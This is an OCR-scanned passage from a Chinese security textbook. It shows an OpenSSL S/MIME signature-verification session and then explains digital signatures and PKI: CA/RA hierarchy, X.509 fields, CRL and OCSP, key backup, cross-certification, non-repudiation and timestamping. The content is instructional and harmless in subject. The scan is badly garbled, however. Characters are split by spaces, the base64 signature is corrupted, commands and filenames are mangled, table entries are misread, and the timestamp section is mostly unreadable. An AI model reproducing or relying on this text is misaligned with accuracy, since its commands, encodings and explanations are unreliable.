CBMCSEA4xDDAKBgNVBAoTA] hYVTEMMAoGA UECXMDS 1 NXMQw»Cg YDVQQDEwNa VEc x 
Wiz AdBgkqhk i GOwOBCQEVEGpz am97 Y3B1 QDE2MyS jb20CCQDy ATI U9ha9q jAJBgUr- 
DgMCGgUAo I GXMBRGCSQGS LbSDQEJ AzELBa kahk i GOWOBBwEwHAYJKoZ Lhvc NAQKF 
MQSXDTEwMDYwMzExNTAINYowIwYJKoZIhvcNAQKEMRYEFN18kDrkFeH6ORvxEt+m = 
ZCpKAH2wMFIGCSqGSTb3DQEJDzFFMEMwCEYIKDZIhvcNAwcnwDSEYIKoZIhvcNAwIC 
AgCAMAOGCCQGS I b3DQNC Ag FAMACGBS sOAw LIMAOGCCqGS I b3DQMCAg EoMAOGCSqG 
SIbSDQEBAQUABIGAMfM/qERBWrxUo svbYv YWYtaSR2NaFSY2ZuLBsPZNLSVFhWJH 
duSrOZtTOOrOwtODXOT10ynNKep)blirEaL «PJRB9eSu 15r 1BBI Tp9/pa I lSdY+YX al 
h1BFKNXxDBZGafAUJQEVQi 1USJAFJT1TJg4s IoBpGwOe lrrMXdwyszHHUwbXo= 


.------50D6B57CF850052401AT0D75BDCD6B73-— 


[rootélocalhost misc] lj 


图 3-110 数字 签名 后 文件 openssl_test. sig 的 内 容 


a 


2. 验证 收 到 文件 的 数字 签名 


当 接收 方 收 到 这 份 数字 签名 的 文件 后 ,可 用 所 提供 的 公开 密 钥 C(public_key. pem) fll CA 
证 书 (cacert. pem) 来 进行 验证 。 

接收 方 执行 如 下 命令 进行 验证 ,同时 会 将 原始 内 容 存 入 openssl test t. txt 文件 。 

[root localhost misc]# ~ /openssl/bin/openssl smime - verify - in openssl test.sig - signer public key.pem 

-at openssl test2.txt - CAfile ./demoCA/cacert.pem 

Verification successful 此 行 是 上 面 命令 的 执行 结果 ,表明 数字 签名 是 正确 的 ) 

[root@ localhost misc]# dir 
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CA.pl c info demcCA openssl test2.txt private key.pem 
CA.sh c issuer openssl test.enc openssl test.txt private reg.pem 
C hash Cc name cpenssl test.sig openssl test.txt.old public key.pem 
[root@ localhost misc]f cat openssl test2.txt 

openssl test shi yan!!! (openssl test2.txt XPF A) 


完整 的 数字 签名 过 程 ( 如 图 3-111 所 示 ) 如 下 。 


发 送 方 接收 方 
"nu 


1 
I 
| 
I 
| 数据 摘要 
I 
I 
I 
I 
I 


halbes 


i 


I 
| ; 发 送 方 
| tme -] 的 公 钥 
| 
I 


i 


一 | 数字 签名 


图 3-111 数字 签名 过 程 


(1) 发 送 方 将 原文 用 Hash 算法 得 到 数据 摘要 。 

(2). 用 发 送 方 的 签名 私 钥 对 数据 摘要 加 密 得 到 数字 签名 。 

(3) 发 送 方 将 原文 与 数字 签名 一 起 发 送 给 接收 方 。 

(4) 接收 方 验证 签名 , 即 发 送 方 用 验证 公 钥 解密 数字 签名 ,得 到 数据 摘要 。 

(5) 接收 方 将 原文 采用 同样 Hash 算法 得 到 一 个 新 数据 摘要 。 

(6) 将 两 个 数据 摘要 进行 比较 ,如 果 二 者 匹配 ,说明 原 文 没 被 修改 。 

因此 ,数字 签名 给 接收 者 提供 一 种 保证 : 被 签名 的 数据 仅 来 自 签名 者 ,而且 自从 数据 被 
签名 后 就 未 曾 被 修改 过 。 这 里 要 特别 提醒 一 点 : 数字 签名 可 以 保证 数据 没 被 修改 过 ,但 不 
能 保证 数据 会 被 未 经 授权 的 人 阅读 。 


3.6 PKI 技 术 


随 着 互联 网 技术 的 迅速 推广 和 普及 .各 种 网 络 应 用 ,比如 电子 商务 .电子 政务 `. 网 上 银行 
及 网 上 证 券 等 金融 业 网 上 交易 业务 也 在 迅速 发 展 。 但 是 ,互联 网 在 安全 上 的 弱势 又 成 为 人 
们 担心 的 焦点 ,比如 网 络 上 的 非法 入侵 .诈骗 等 ,因此 ,如 何 解决 网 络 信息 的 安全 问题 ,已 经 
成 为 发 展 网 络 通信 的 重要 任务 。 目 前 对 网 络 安全 服务 能 够 提供 强 有 力 保 证 的 技术 是 公 钥 基 
础 设施 PKICPublic Key Infrastructure)。PKI 是 在 公开 密 钥 加 密 技 术 的 基础 上 形成 和 发 展 
起 来 的 。 


1. PKI 简介 
PKI 是 在 公开 密 钥 加 密 技 术 基 础 上 形成 和 发 展 起 来 的 提供 安全 服务 的 通用 性 基础 平 
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台 ,用户 可 以 利用 PKI 基础 平台 所 提供 的 安全 服务 ,在 网 上 实现 安全 的 通信 。PKI 采用 标 
准 的 密 钥 管理 规则 ,能 够 为 所 有 应 用 透明 地 提供 采用 加 密 和 数字 签名 等 密码 服务 所 需要 的 
密 钥 和 证 书 管理 。 

也 有 人 将 PKI 定 义 为 : 它 是 创建 ,颁发 .管理 和 撤销 公 钥 证 书 所 涉及 的 所 有 软件 .硬件 
系统 ,以 及 所 涉及 的 整个 过 程 的 安全 策略 规范 .法律 .法规 和 人 员 的 集合 。 其 中 证 书 是 PKI 
的 核心 元 素 ,CA 是 PKI 的 核心 执行 者 。 

使 用 基于 PKI 基础 平台 的 用 户 建立 安全 通信 相互 信任 的 基础 有 如 下 几 条 。 

CD 网 上 进行 的 任何 需要 提供 安全 服务 的 通信 都 是 建立 在 公 钥 的 基础 之 上 的 , 公 钥 是 
可 以 对 外 公开 的 。 

(2) 与 公 钥 成 对 的 私 钥 (私有 密 钥 ) 只 能 掌握 在 他 们 与 之 通信 的 另 一 方 , 私 钥 必 须 自 己 
严密 保管 ,不 得 泄露 。 

(3) 这 个 信任 的 基础 是 通过 公 钥 证 书 的 使 用 来 实现 的 。 公 钥 证 书 就 是 一 个 用 户 在 网 上 
的 身份 证 明 ,是 用 户 身份 与 他 所 持 有 公 钥 的 绑 定 结合 ,在 这 种 绑 定之 前 ,由 一 个 可 信任 的 认 
证 机 构 CA 来 审查 和 证 实用 户 的 身份 ,然后 认证 机 构 CA 将 用 户 身份 及 其 公 钥 结合 起 来 , 形 
成 数字 证 书 ,并 进行 数字 签名 ,实现 证 书 和 身份 的 唯一 对 应 ,以 证 明 该 证 书 的 有 效 性 ,同时 证 
明了 用 户 网 上 身份 的 真实 性 。 


2. PKI 的 组 成 


PKI 系统 由 以 下 几 部 分 组 成 。 

(1) 认证 机 构 CA 

认证 机 构 CA Certificate Authority) 是 PKI 的 核心 执行 机 构 , 是 PKI 的 主要 组 成 部 分 ， 
在 业界 通常 把 它 称 为 认证 中 心 。 它 是 一 种 信任 机 构 , 因 为 证 书 将 公 钥 和 它 的 持 有 人 关联 起 
来 了 ,但 是 如 何 知道 证 书 中 信息 是 可 靠 的 呢 ? 如 何 知 道 其 中 公 钥 与 其 持 有 人 之 间 的 关联 是 
正确 的 呢 ? 这 就 由 CA 来 保证 证 书 中 信息 的 正确 性 。CA 的 主要 职责 是 确认 证 书 持 有 人 的 
身份 。 证 书 经 CA 数字 签名 并 颁发 ,以 证 明证 书包 含 的 公 钥 属于 证 书 持 有 人 。 因 此 ,通过 可 
信赖 的 第 三 方 ,信任 CA 的 任何 人 也 将 信赖 证 书 持 有 人 的 公 钥 。 

CA 是 保证 电子 商务 .电子 政务 .网 上 银行 ,网 上 证 券 等 交易 的 权威 性 、 可 信任 性 和 公正 
性 的 第 三 方 机 构 。 

CA 由 以 下 3 部 分 组 成 ,如 图 3-112 所 示 是 中 国 金融 CA 结构 的 组 成 。 

(D 第 一 级 是 根 CA ,负责 总 政策 。 

© 第 二 级 是 政策 CA ,负责 制定 具体 认证 策略 。 

O 第 三 级 为 操作 CACOCAO ,是 证 书签 发 和 发 布 机 构 。 

CA 从 广义 上 说 还 应 包括 证 书 注册 审批 机 构 RA(Registration Authority) , 它 是 数字 证 
书 的 申请 注册 ,证 书签 发 和 管理 的 机 构 。RA 系统 是 CA 的 证 书 发 放 和 管理 的 延伸 , 它 负责 
证 书 申请 者 的 信息 录入 、 审 核 以 及 证 书 发 放 等 工作 。 同 时 ,对 发 放 的 证 书 完 成 相应 的 管理 功 
能 。 发 放 的 数字 证 书 可 以 存放 于 IC 卡 \ 硬 盘 或 软盘 等 介质 中 。RA 系统 是 整个 CA 系统 得 
以 正常 运营 不 可 缺少 的 一 部 分 。 

RA 的 组 成 如 图 3-112 所 示 - RA 中 心 负责 证 书 申请 注册 的 汇总 ;LRA 为 远程 本 地 受理 
点 ,负责 用 户 证 书 的 申请 受理 。 
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根 CA 商业 银行 "总行 RA 中 心 
政策 CA 分 行 RA HÒ 1| |T RA fup 2 «| 41163 RA 中 心 n 
商业 银行 1 OCA | | 商业 银行 2 OCA |…| 商业 银行 2OCA| | LRA 受理 点 LRA 受理 点 LRA 受理 点 
中 国 金 融 CA 结构 RA 结构 
图 3-112 ”中国 金融 CA 结构 RA 结构 


PKI 服务 系统 的 关键 问题 是 如 何 实现 公 钥 的 管理 。 因 为 公 钥 是 公开 的 ,需要 在 网 上 传 
输 。 目 前 较 好 的 解决 方案 是 引进 证 书 机 制 。 证 书 是 公开 密 钥 体制 的 一 种 密 钥 管理 媒介 。 它 
是 一 种 权威 性 的 电子 文档 , 形 同 网 络 计算 环境 中 的 一 种 身份 证 ,用 于 证 明 某 一 主体 (如 人 、 服 
务 器 等 ) 的 身份 及 其 公开 密 钥 的 合法 性 。 在 使 用 公 钥 体制 的 网 络 环境 中 ,必须 向 公 钥 使 用 者 
证 明 公 钥 的 真实 合法 性 。 因 此 ,在 公 钥 体制 环境 中 ,必须 有 一 个 可 信 的 机 构 来 对 任何 一 个 主 
体 的 公 钥 进行 公证 ,证明 主体 的 身份 以 及 它 与 公 钥 的 匹配 关系 。CA 正 是 这 样 的 系统 , 它 的 
主要 功能 如 下 。 

CD 验证 并 标识 证 书 申请 者 的 身份 ,对 证 书 申请 者 的 信用 度 、 申 请 证 书 的 目的 、 身 份 的 真 
实 可 靠 性 进行 审查 ,确保 证 书 与 身份 绑 定 的 正确 性 。 

© 确保 CA 用 于 签名 证 书 的 非 对称 密 钥 的 质量 和 安全 性 ,为 了 防止 被 破译 ,CA 用 于 签 
名 的 私 钥 长 度 必须 具有 1024bit 以 上 ,并 且 私 钥 必须 由 硬件 卡 产生 , 私 钥 不 出 卡 。 

© 对 证 书信 息 资料 的 管理 ,如 证 书 序号 和 CA 标识 的 管理 ,确保 证 书 主体 标识 的 唯一 
性 ,防止 证 书 主体 名 字 的 重复 。 

@ 在 证 书 使 用 中 确定 并 检查 证 书 的 有 效 期 ,保证 不 使 用 过 期 作废 证 书 , 确 保 网 上 交易 
的 安全 。 

© 发 布 和 维护 作废 证 书 列表 (CRL), 因 某 种 原因 证 书 要 作废 ,就 必须 将 其 作为 “ 黑 名 
单 ? 发 布 在 证 书 作 废 列表 中 ,以 供 交 易 时 在 线 查 询 ,防止 交易 风险 。 

© 对 已 签发 证 书 的 使 用 全 过 程 进行 监视 跟踪 ,做 全 程 日 志 记 录 , 以 备 发 生 交 易 争端 时 ， 
提供 公正 依据 ,参与 仲裁 。 

CA 为 了 实现 其 功能 ,主要 由 3 个 部 分 组 成 。 

CD 注册 服务 器 : 通过 Web Server 建立 的 站 点 ,可 为 客户 提供 每 日 24h 的 服务 。 因 此 ， 
客户 可 以 在 自己 方便 的 时 候 在 网 上 提出 证 书 申请 和 填写 相应 的 证 书 申请 表 , 免 去 排队 等 候 

© 证 书 申请 受理 和 审核 机 构 : 负责 证 书 的 申请 和 审核 。 它 的 主要 功能 是 接受 客户 证 
书 申请 并 进行 审核 。 

@ 认证 中 心服 务 器 : 是 数字 证 书生 成 .发放 的 运行 实体 ,同时 提供 发 放 证 书 的 管理 ,证 
书 废止 列表 (CRL) 的 生成 和 处 理 等 服务 。 

(2) 证 书 

证 书 是 数字 证 书 或 电子 证 书 的 简称 , 它 符合 X. 509 标准 ,是 网 上 实体 身份 的 证 明 , 证 明 
某 一 实体 的 身份 以 及 其 公 钥 的 合法 性 ,证 明 该 实体 与 公 钥 的 匹配 关系 。 证 书 在 公 钥 体制 中 
是 密 钥 管理 的 媒介 ,不同 的 实体 可 以 通过 证 书 来 互相 传递 公 钥 ;证 书 是 由 具备 权威 性 .可 信 
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任性 和 公正 性 的 第 三 方 机 构 签发 的 ,因此 , 它 是 权威 性 的 电子 文档 。 
证 书 的 主要 内 容 按 X. 509 标准 规定 其 逻辑 表达 式 为 : 
CAKA)=CA{V,SN,AI,CA,UCA,A,UA,AP,TA} 
M V 到 TA 是 证 书 在 标准 域 中 的 主要 内 容 。 这 些 内 容 主 要 用 于 身份 认证 。 证 书 元 素 
说 明 见 表 3-6。 
表 3-6 证书 元 素 说 明 


证 书 元 素 说 明 

CAÇA) 认证 机 构 CA 为 用 户 A 颁发 的 证 书 

BAG 认证 机 构 CA 对 花 括 弧 内 证 书 内 容 进 行 的 数字 签名 
y 证 书 版 本 号 (Certificate Format Version? 

SN 证 书 序列 号 (Certificate Serial Number) 

AI 用 于 对 证 书 进行 签名 的 算法 标识 (Algorithm Identifier) 
CA 签发 证 书 的 CA 机 构 的 名 字 (Issuer Name) 

UCA 签发 证 书 的 CA 的 唯一 标识 符 

^ 用 户 A 的 名 字 

UA 用 户 A 的 唯一 标识 

AP 用 户 A 的 公 钥 

TA 证 书 的 有 效 期 


存放 证 书 的 介质 有 软盘 .硬盘 和 IC 卡 ,一般 B2B 高 级 证 书 要 求 存 放 在 IC 卡 中 ,因为 证 
书 存 放 在 IC 卡 中 私 钥 不 出 卡 , 安 全 性 高 .携带 方便 ,便于 管理 。 

在 PKI 体系 中 ,可 以 采取 以 下 某 种 或 某 几 种 的 方式 获得 证 书 。 

O 发 送 者 发 送 签名 信息 时 ,附加 发 送 自己 的 证 书 。 

Q) 单独 发 送 证 书信 息 的 通道 。 

G 可 从 访问 发 布 证 书 的 目录 服务 器 获得 。 

@ 可 从 证 书 的 相关 实体 (如 RA) 处 获得。 

目前 我 国 已 建成 中 国电 信 CA 安全 认证 体系 (CTCA)、 上 海 电 子 商 务 CA 认证 中 心 
(SHECA) 和 中 国 金融 认证 中 心 (CA) 等 。 

申请 的 数字 证 书 采 用 公 钥 体制 。 用 户 设 定 一 把 特定 的 仅 为 本 人 所 有 的 私有 密 钥 ( 私 
钥 ) ,用 它 进 行 解密 和 签名 ;同时 设 定 一 把 公共 密 钥 ( 公 钥 ) 并 由 本 人 公开 ,为 一 组 用 户 所 共 
享 , 用 于 加 密 和 验证 签名 。 数 字 证 书 可 用 于 : 安全 地 发 送 电子 邮件 .访问 安全 站 点 `. 网 上 招 
投标 .网 上 签约 .网 上 订购 .安全 网 上 公文 传送 .网 上 办 公 、 网 上 缴费 .网 上 购物 等 网 上 的 安全 
电子 事务 处 理 和 交易 。 

CA 自己 的 一 对 密 钥 的 管理 非常 关键 . 它 必 须 确保 其 高 度 的 机 密 性 ,防止 他 人 伪造 证 
P. CA 的 公 钥 在 网 上 公开 ,整个 网 络 系统 必须 保证 完整 。CA 的 数字 签名 保证 了 证 书 ( 实 
质 是 持 有 者 的 公 钥 ) 的 合法 性 和 权威 性 。 


用 户 产生 、 验 证 和 分 发 密 钥 可 以 有 下 面 几 种 方式 。 
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Q@ 用 户 自己 产生 密 钥 对 。 用 户 自己 生成 密 钥 对 ,然后 将 公 钥 以 安全 的 方式 传送 给 CA， 
该 过 程 必须 保证 用 户 公 钥 的 可 验证 性 和 完整 性 。 

© CA 为 用 户 产生 密 钥 对 。CA 蔡 用 户 生 成 密 钥 对 ,然后 将 其 安全 地 传 给 用 户 ,该 过 程 
必须 确保 密 钥 对 的 机 密 性 、 完 整 性 和 可 验证 性 。 该 方式 下 由 于 用 户 的 私 钥 被 CA 所 知 , 故 对 
CA 的 可 信 性 要 求 更 高 。 

(3) 证 书库 

由 于 证 书 的 不 可 伪造 性 ,因此 ,可 以 在 数据 库 中 公布 ,而 无 须 其 他 的 安全 措施 来 保护 这 
些 证 书 。 通 常 的 做 法 是 将 证 书 和 证 书 撤销 信息 发 布 到 一 个 数据 库 ( 证 书库 ) 中 ,客户 端 可 以 
通过 多 种 访问 协议 从 证 书库 实时 查询 证 书 和 证 书 撤销 信息 。 可 见 , 证 书库 是 CA 颁发 证 书 
和 撤销 证 书 的 集中 存放 地 ,是 网 上 的 一 种 公共 信息 库 , 供 广大 公众 进行 开放 式 查询 。 一 般 来 
说 ,查询 的 目的 有 两 个 : 一 是 要 想得到 与 之 通信 实体 的 公 钥 ;一 是 要 验证 通信 对 方 的 证 书 是 
和 否 已 进入 * 黑 名 单 ”。 颁 发 证 书 和 撤销 证 书 的 集中 存放 地 ,实际 就 是 数据 库 ,通常 称 为 目录 服 
务 器 。 其 标准 格式 采用 X. 500, 目 录 查 询 协议 为 LDAP ,客户 端 软 件 可 以 通过 这 种 协议 实时 
查询 目录 服务 器 。 

证 书库 支持 分 布 式 存放 , 即 CA 机 构 所 签发 的 证 书 , 可 以 采用 数据 库 镜 像 技术 ,将 其 中 
一 部 分 与 本 组 织 有 关 的 证 书 和 证 书 撤销 列表 存放 到 本 地 ,以 提高 证 书 的 查询 效率 ,减少 向 总 
目录 查询 的 时 间 。 当 PKI 所 支持 的 环境 扩充 到 几 十 万 个 或 上 百 万 个 用 户 时 ,PKI 信息 的 分 
布 机 制 就 显得 非常 关键 ,如 目录 服务 器 的 分 布 式 存放 ,这 是 任何 一 个 大 规模 的 PKI 系统 成 
功 实施 的 基本 需求 ,也 是 创建 一 个 有 效 认 证 机 构 CA 的 关键 技术 之 一 。 

(4) 证 书 撤销 

认证 机 构 CA 通过 签发 证 书 来 为 用 户 的 身份 和 公 钥 进行 拥 绑 ,但 因 种 种 原因 ,还 必须 存 
在 一 种 机 制 来 撤销 这 种 捆绑 关系 ,将 现行 的 证 书 撤销 。 比 如 ,在 用 户 身份 姓名 改变 、 私 钥 被 
窃 或 泄露 .用户 与 其 所 属 单位 关系 发 生变 更 时 ,就 需要 一 种 方法 警告 其 他 用 户 不 要 再 使 用 其 
原来 的 公 钥 。 在 PKI 中 ,这 种 警告 机 制 被 称 做 证 书 撤销 。 它 所 使 用 的 手段 为 证 书 撤销 列表 
(CRL), 

证 书 撤 销 信 息 的 更 新 和 发 布 频率 是 非常 重要 的 。 一 定 要 确定 合适 的 间隔 频率 来 发 布 证 
书 撤销 信息 ,并 且 要 将 这 些 信息 及 时 地 散发 给 那些 正在 使 用 这 些 证 书 的 用 户 。 两 次 证 书 撤 
销 信 息 之 间 的 间隔 被 称 为 撤销 延迟 。 

证 书 撤销 的 实现 方法 有 很 多 种 。 一 种 方法 是 利用 周期 性 的 发 布 机 制 ,如 CRL, 这 是 常 
用 的 一 种 方法 ; 另 一 种 方法 是 在 线 查 询 机 制 , 如 在 线 证 书 状 态 协议 OCSP, 它 是 一 种 相对 简 
单 的 请 求 响应 协议 。 一 个 OCSP 请 求 由 协议 版 本 号 、 服 务 请 求 类 型 及 一 个 或 多 个 证 书 标 识 
符 组 成 。 

(5) 密 钥 备份 和 恢复 

密 钥 备份 及 恢复 是 密 钥 管理 的 主要 内 容 , 用 户 由 于 某 些 原因 将 解密 数据 的 密 钥 丢失 ,已 
被 加 密 的 密 文 无 法 解 开 ,将 造成 数据 丢失 。 为 避免 这 种 情况 的 发 生 ,PKI 提供 了 密 钥 备份 与 
密 钥 恢 复 机 制 , 即 密 钥 备份 与 密 钥 恢复 系统 。 密 钥 备 份 与 密 钥 恢复 是 由 可 信任 的 认证 机 构 
CA 来 完成 的 ,在 用 户 的 证 书生 成 时 ,加 密 密 钥 即 被 CA 备份 存储 了 ; 当 需 要 恢复 时 ,用 户 向 
CA 提出 申请 ,CA 会 为 用 户 自动 进行 恢复 。 

PKI 系统 中 一 般 需 要 配置 用 于 数字 签名 /验证 的 密 钥 对 和 用 于 数据 加 密 /解密 的 密 钥 
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对 ,它们 分 别 被 称 为 签名 密 钥 对 和 加 密 密 钥 对 。 这 两 对 密 钥 对 对 于 密 钥 管理 有 不 同 的 要 求 。 

D 签名 密 钥 对 。 签 名 密 钥 对 由 签名 私 钥 和 验证 公 钥 组 成 。 为 保持 其 唯一 性 ,签名 私 钥 
不 能 存档 备份 ,丢失 后 需要 重新 生成 新 的 密 钥 对 ,原来 的 签名 可 以 使 用 旧 公 钥 的 备份 来 验 
证 。 所 以 ,验证 公 钥 需 要 存档 备份 ,以 用 于 验证 旧 的 数字 签名 。 


BES 在 PKI 中 , 密 钥 恢复 对 加 密 密 钥 而 言 , 签 名 私 钥 是 不 能 做 备份 的 ,因为 数 
字 签 名 是 支持 不 可 否认 性 的 ,那样 会 造成 签名 的 不 唯一 性 。 


© 加 密 密 钥 对 。 加 密 密 钥 对 由 公 钥 和 解密 私 钥 组 成 。 为 防止 密 钥 丢失 时 不 能 解密 数 
据 , 解 密 私 钥 应 该 进行 存档 备份 ,以 便 能 在 任何 时 候 解密 密 文 数据 。 加 密 公 钥 无 须 存档 备 
份 ,加 密 公 钥 丢 失 时 ,需要 重新 产生 密 钥 对 。 

显然 ,这 两 对 密 钥 对 的 管理 要 求 存 在 互相 冲突 的 地 方 , 因 此 系统 必须 针对 不 同 的 用 途 使 
用 不 同 的 密 钥 对 。 

为 了 避免 解密 密 钥 丢失 带 来 的 不 便 ,PKI 提供 了 密 钥 备 份 与 解密 密 钥 的 恢复 机 制 , 即 密 
钥 备 份 与 恢复 系统 , 它 由 可 信任 的 CA 来 完成 。 

(6) 密 钥 和 证 书 的 更 新 

一 个 证 书 的 有 效 期 是 有 限 的 ,这 样 规定 既 有 理论 上 的 原因 ,又 有 实际 操作 的 因素 。 因 
此 ,在 很 多 PKI 环境 中 ,一 个 已 颁发 的 证 书 需 要 有 过 期 的 措施 ,以 便 更 换 新 的 证 书 。 为 解决 
密 钥 更 新 的 复杂 性 和 人 工 操作 的 麻烦 ,PKI 自动 完成 密 钥 或 证 书 的 更 新 ,不 需要 用 户 干预 。 
即 在 用 户 使 用 证 书 的 过 程 中 ,PKI 会 自动 到 目录 服务 器 中 检查 证 书 的 有 效 期 ,在 有 效 期 到 来 
之 前 的 某 一 时 间 间 隔 内 (如 20 秒 之 内 ) ,PKI/CA 会 自动 启动 更 新 程序 ,生成 一 个 新 证 书 来 
代替 旧 证 书 , 新 旧 证 书 的 序列 号 也 不 一 样 。 

CD 证 书 历史 档案 

从 密 钥 更 新 的 概念 可 知 ,经 过 一 定时 间 以 后 ,每 一 个 用 户 都 会 形成 多 个 旧 证 书 和 至 少 有 
一 个 当前 新 证 书 。 这 一 系列 旧 证 书 和 相应 的 私 钥 组 成 了 用 户 密 钥 和 证 书 的 历史 档案 。 

记录 整个 密 钥 历史 是 一 件 十 分 重要 的 事情 ,因为 某 用 户 几 年 前 用 自己 的 公 钥 加 密 的 数 
据 或 者 是 其 他 人 用 自己 的 公 钥 加 密 的 数据 ,他 无 法 使 用 现在 的 私 钥 解 密 。 那 么 ,该 用 户 就 必 
须要 从 他 的 密 钥 历史 档案 中 ,查找 到 几 年 前 的 私 钥 来 解密 数据 。 如 此 类 似 地 ,有 时 也 需要 从 
密 钥 历史 档案 中 ,找到 合适 的 证 书 验证 某 用 户 几 年 前 的 数字 签名 。 因 此 ,PKI 必须 为 客户 建 
立 证 书 历史 档案 。 

(8) 交叉 认证 

在 全 球 范围 内 建立 一 个 容纳 所 有 用 户 的 单一 PKI 是 不 太 可 能 实现 的 。 现 实 可 行 的 模 
型 是 建立 多 个 PKI 域 ,进行 独立 的 运行 和 操作 ,为 不 同 环境 和 不 同行 业 的 用 户 团体 服务 。 

为 了 在 不 同 PKI 之 间 建 立信 任 关 系 ,产生 了 “交叉 认证 ”的 概念 。 在 没有 一 个 统一 的 全 
球 的 PKI 环境 下 ,交叉 认证 是 一 个 可 以 接受 的 机 制 , 因 为 它 能 够 保证 一 个 PKT 团体 的 用 户 
验证 另 一 个 团体 的 用 户 证 书 。 交 叉 认 证 是 PKI 中 信任 模型 的 概念 。 它 是 一 种 把 以 前 无 关 
的 CA 连接 在 一 起 的 机 制 , 从 而 使 得 它们 在 各 自主 体 群 间 实 现 安全 通信 。 

交叉 认证 就 是 多 个 PKI 域 之 间 实 现 互 操作 ,这 个 PKI 域 签 发 的 证 书 , 到 那个 PKI 域 里 
也 能 承认 ,不同 的 PKI 域 之 间 的 用 户 ,都 要 求 验 证 对 方 CA 发 放 的 证 书 ,这 就 是 交叉 认证 。 
交叉 认证 实现 的 方法 有 多 种 形式 ,一 种 方法 是 桥接 CA , 即 用 一 个 第 三 方 CA 作为 桥 ,将 多 个 
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CA 连接 起 来 ,成 为 一 个 可 信任 的 统一 体 ; 另 一 种 方法 是 多 个 CA 的 根 CACRCA) 互 相 签发 
认证 书 ,这 样 当 不 同 的 PRI 域 中 的 终端 用 户 沿 着 不 同 的 认证 链 检验 认证 到 根 时 ,达到 互相 
信任 的 目的 。 

(9) 不 可 否认 性 

PKI 的 不 可 否认 性 适用 于 从 技术 上 保证 实体 对 他 们 行为 的 不 可 否认 性 , 即 他 们 对 自己 
发 送出 和 接收 到 数据 的 事实 的 不 可 抵赖 性 。 如 甲 签发 了 某 份 文件 ,若干 时 间 后 ,他 不 能 否认 
他 对 该 文件 进行 了 数字 签名 。 

从 数字 签名 的 角度 来 说 ,一 个 公司 或 机 构 需 要 用 PKI 支持 不 可 否认 性 ,那么 维护 多 密 
钥 对 和 多 个 证 书 就 是 必要 的 了 。 要 真正 支持 不 可 否认 性 需要 一 个 必要 条 件 , 就 是 用 户 用 于 
不 可 否认 性 操作 的 私 钥 , 是 不 能 被 任何 其 他 人 知道 的 ,包括 可 信任 的 实体 CA 在 内 ;和 否则 , 实 
体 就 会 随便 地 宣布 这 个 操作 不 是 本 人 所 为 。 在 有 些 情况 下 ,这 种 私 钥 只 能 装载 在 防 算 改 的 
硬件 加 密 模 块 中 。 比 如 , 私 钥 装载 在 IC 卡 中 , 它 既 不 能 被 自 改 ,也 不 能 被 复制 。 

相反 ,不 是 用 于 不 可 否认 性 的 密 钥 ,如 加 密 密 钥 , 它 可 在 一 个 可 信任 机 构 ( 如 CA) 中 进 
行 备份 ,并 可 以 存放 在 软件 里 。 由 于 这 种 冲突 ,一 个 PKI 实体 一 般 要 拥有 两 对 或 三 对 不 同 
的 密 钥 对 及 相关 证 书 : 一 对 用 于 加 密 和 解密 ;一 对 用 于 普通 的 签名 和 认证 ;一 对 用 于 不 可 否 
认 性 的 签名 和 认证 。 

(10) Ik [8] ji 

Ti [8] HE ER PR Ay e A8 ERSTE T] ER» e — ^ T fei 9 ESTE T8] SCR, FH — E n] iA IE AS SE e c d deo B E 
间 鹤 (以 格林 尼 治 时 间 为 标准 的 32bit 值 ) 。 重 要 的 不 是 时 间 本 身 的 精确 性 ,而 是 相关 日 期 
时 间 的 安全 性 。 支 持 不 可 否认 性 服务 的 一 个 关键 措施 ,就 是 在 PKI rp dr np RISE. BIS HI 
源 是 可 信 的 , 它 赋予 的 时 间 值 必须 被 安全 地 传送 。 

PKI 中 必须 存在 用 户 可 信任 的 权威 时 间 源 。 权 威 时 间 源 提供 的 时 间 并 不 需要 准确 , 它 
为 用 户 提 供 一 个 “参照 ?时 间 ,以 便 完成 基于 PKI 的 事务 处 理 。 如 事件 A 发 生 在 事件 B 的 前 
面 等 。 一 般 PKI 中 都 设置 一 个 时 钟 系统 ,统一 PKI 的 时 间 。 当 然 , 也 可 以 用 世界 官方 时 间 
源 所 提供 的 时 间 。 其 实 ,现实 方法 是 从 网 络 上 权威 时 间 源 获得 时 间 。 要 求实 体 在 需要 的 时 
候 向 这 些 权 威 请 求 在 数据 上 关上 时 间 枚 。 一 份 文档 上 的 时 间 鹤 涉 及 对 时 间 和 文档 内 容 的 
Hash 值 , 即 数字 签名 。 权 威 的 签名 保证 了 数据 的 真实 性 和 完整 性 。 

(11) 客户 端 软件 

客户 端 软件 是 一 个 全 功能 、 可 操作 PKI 的 必要 组 成 部 分 。 为 方便 客户 操作 ,解决 PKI 
的 应 用 问题 ,客户 端 软件 应 该 具有 如 下 的 主要 功能 。 

CD 查询 证 书 和 相关 的 证 书 撤销 信息 以 及 进行 证 书 路 径 处 理 。 

© 对 特定 文档 提供 时 间 蕉 请 求 。 

@ 实现 数字 签名 、 加 密 传输 数据 。 

总 之 , 它 像 客 户 机 /服务 器 一 样 ,客户 端 提 出 服务 请 求 , 服 务 器 端 为 此 能 够 做 响应 处 理 。 
客户 端 软件 在 桌面 系统 中 运行 , 它 透明 地 通过 桌面 系统 中 的 应 用 提供 一 致 性 的 安全 服务 。 

(12) 证 书 运作 声明 

CPS(Certificate Practice Statement ,证 书 运作 声明 ) 也 称 为 证 书 运作 规范 , 它 是 PKI 不 
可 缺少 的 安全 策略 组 成 部 分 。 它 由 前 言 .总 论 .一 般 规 定 、 鉴 别 与 授权 、 运 作 要 求 .技术 安全 
控制 .证书 以 及 CRL 结构 等 章节 组 成 。 主 要 规定 CA 及 用 户 各 方 的 义务 .责任 以 及 如 何 确 
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保 CA 运作 的 安全 。 
3. PKI 的 国际 标准 


PKI 的 国际 标准 见 表 3-7 。 
表 3-7 PKI 的 国际 标准 


国际 标准 描 述 
PKICPublic-Key Infrastructure) 公 钥 体系 基础 框架 
mea 由 ISO 和 ITU 提出 的 为 大 型 网 络 提供 目录 服务 的 
标准 体系 
X. 509 H X. 500 提供 验证 (Authenticating) 体 系 的 标准 
PKIX(Public-Key Infrastructure Using X. 509) 使 用 X. 509 的 公 钥 体系 基础 框架 
PKCS(Public Key Cryptography Standards) 公 钥 加 密 标准 ,为 PKI 提供 一 套 完善 的 标准 体系 
4. PKI 的 应 用 


PKI 提供 的 安全 服务 是 电子 商务 .电子 政务 `. 网 上 银行 .网 上 证 券 等 金融 业 交 易 的 安全 
需求 ,是 这 些 活动 必 备 而 不 可 缺少 的 安全 保证 ,没有 这 些 安全 服务 提供 各 种 安全 保证 ,电子 
